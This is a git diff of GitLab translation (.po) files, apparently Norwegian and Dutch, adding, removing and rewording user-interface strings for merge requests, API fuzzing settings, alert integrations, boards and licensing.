@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr "Passordet ditt"
msgid "mrWidget|branch does not exist."
msgstr "grenen eksisterer ikke."
-msgid "mrWidget|command line"
-msgstr "kommandolinje"
-
msgid "mrWidget|into"
msgstr "inni"
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr "må være høyere enn startdatoen"
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr "på sporet"
msgid "open issue"
msgstr "Ã¥pen sak"
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr "Ã¥pnet %{timeAgoString} av %{user}"
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr "Ã¥pnet %{timeAgoString} av %{user} i Jira"
-
msgid "opened %{timeAgo}"
msgstr "Ã¥pnet %{timeAgo}"
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr "Ã¥ liste opp"
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr "brukernavn"
msgid "v%{version} published %{timeAgo}"
msgstr "v%{version} publisert %{timeAgo}"
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "verifiser eierskap"
diff --git a/locale/nl_NL/gitlab.po b/locale/nl_NL/gitlab.po
index e99873e8e35..62aeeb92bfb 100644
--- a/locale/nl_NL/gitlab.po
+++ b/locale/nl_NL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: nl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:57\n"
+"PO-Revision-Date: 2021-04-02 00:18\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d opgelost testresultaat"
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} schreef %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}Lees meer%{usage_ping_link_end} over welke informatie gedeeld wordt met GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 gebruiker"
msgstr[1] "%{num} gebruikers"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Account en limiet"
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "door"
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
